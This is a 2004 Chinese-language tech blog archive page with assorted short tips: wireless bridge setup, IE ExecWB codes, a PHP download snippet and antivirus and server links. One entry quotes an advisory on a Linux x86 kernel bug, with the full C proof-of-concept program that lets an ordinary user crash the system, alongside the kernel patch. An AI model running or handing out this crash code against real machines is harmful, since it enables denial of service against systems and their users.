Data: June 2004 Archives

Internet Domain Codes

user-pic
Vote 0 Votes

WineX

user-pic
Vote 0 Votes

WineX = Wine + DirectX
Transgaming 這家公司發展, 可以在 linux 下玩 game

資料來源 Bufflo tech

WBR系列(WBR-G54、WBR-B11)、WLA系列(WLA-G54,WLA-G54C)AP具有
WDS中繼/漫遊/無線橋接功能。
一般情況下,我們建議的作法是利用WBR系列連接您的網際網路寬頻,
當您的無線Client端與AP的距離太遠或是兩者間有障礙物阻隔造成訊號微弱時,
可利用WLA作為中繼端將原來WBR的訊號再生,以獲得較好的無線連線品質。
當然,以WBR來作為中繼也可以,只是在相同網段下,
同時有兩個DHCP Server且兩部的IP均相同,在設定上較為麻煩且會浪費了WBR的功能。

※ 要成功的將兩部AP設定無線橋接/中繼/漫遊的要件如下:
兩部AP的LAN IP Address設定為同網段之不同IP (例如:192..168.11.×)。
兩部AP的WDS功能均需 "Enable"。
兩部AP的Wireless MAC Address應互相抄寫。
兩部AP的WEP Key必須相同 (請參閱說明書設定)。
兩部AP的Channel必須相同 (請參閱說明書設定)。
兩部AP的ESSID必須相同方可達成漫遊功能 (請參閱說明書設定)。
兩部AP之間的距離必須小於50公尺 (ie.要在可互相收到對方訊號的範圍內)。

javascript wb.exec(?,?)

user-pic
Vote 0 Votes

WB.ExecWB(1,1) 打開
WB.ExecWB(2,1) 關閉現在所有的視窗
WB.ExecWB(4,1) 儲存網頁
WB.ExecWB(6,1) 列印
WB.ExecWB(6,6) 直接列印, 不出現選擇印表機設定畫面, IE7 無效, 適用 IE6 以下
WB.ExecWB(7,1) 預覽列印
WB.ExecWB(8,1) 設定列印
WB.ExecWB(10,1) 查看頁面屬性
WB.ExecWB(15,1) 撤銷
WB.ExecWB(17,1) 全選
WB.ExecWB(22,1) 重新整理
WB.ExecWB(45,1) 關閉視窗無提示
使用這些功能 網際網路選項 啟始不標示為安全的 ActiveX 控制項 必須啟用
或者 設為 低安全性

ref.
http://www.pcsky.cn/article/list.asp?id=791

這大概是 linux kernel 有史以來最嚴重的問題, 幾乎所有版本都有這個缺陷
我試了一台 Mandrake 9.2 的機器, 用一般 user 權限跑 crash kernel 的程式,
馬上見效
修正方法
修正 include/asm-i386/i387.h
asm volatile("fwait"); \
改成
asm volatile("fnclex ; fwait"); \

新的 2.6.7 已修正這個問題

http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html

Published 2004-06-11 by xiando, v2.2.4, last updated 2004-06-15.

A bug lets a simple C program crash the Linux kernel, effectively
locking the whole system. Affects both 2.4.2x and 2.6.x kernels
on the x86 architecture.

The kernel is the most important part of the Linux operating system.
It handles communication with the computers hardware and decides
the priority of running programs (processes). If the kernels stops
doing it's job, everything else will too.

※ The Evil Code

Running this simple C program crashes the Linux kernel.

crash.c.txt
http://linuxreviews.org/news/2004-06-11_kernel_crash/crash.c.txt

  #include 
  #include 
  #include 

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}


This bug is confirmed to be present when the code is compiled with
GCC version 2.96, 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux
kernel versions 2.4.2x and 2.6.x on x86 and amd64 systems.

header("Content-type:application");
header("Content-Disposition: attachment; filename=file_name");
//file_name是預設下載時的檔名,可使用變數。
readfile("file");
//file是實際存放在你硬碟中要被下載的檔案,可使用變數。
exit(0);

ref.
http://dob.tnc.edu.tw/themes/old/showPage.php?s=3221&t=1

ClamAV for Win

user-pic
Vote 0 Votes

http://www.clamwin.com/

ClamWin Antivirus is an Open Source (free) Virus Scanner Toolkit for Microsoft Windows NT/98/Me/2000/XP/2003. It provides User Interface to Clam AntiVirus scanning engine.

IP locator

user-pic
Vote 0 Votes

Enter IP and tell you location (country)

http://spamid.servebeer.com:8081/servlet/iplocator

http://sourceforge.net/projects/yellowtipws/
http://www.yellowtip.com/

YellowTip Web Server is a professional and easily installable package of Apache2, PHP4, MySQL4, phpMyAdmin and Zend Optimizer for the Win32 platform. With the all-in-one installer, all components are installed in a single directory. Uninstaller included

About this Archive

This page is an archive of entries in the Data category from June 2004.

Data: May 2004 is the previous archive.

Data: July 2004 is the next archive.

Find recent content on the main index or look in the archives to find all content.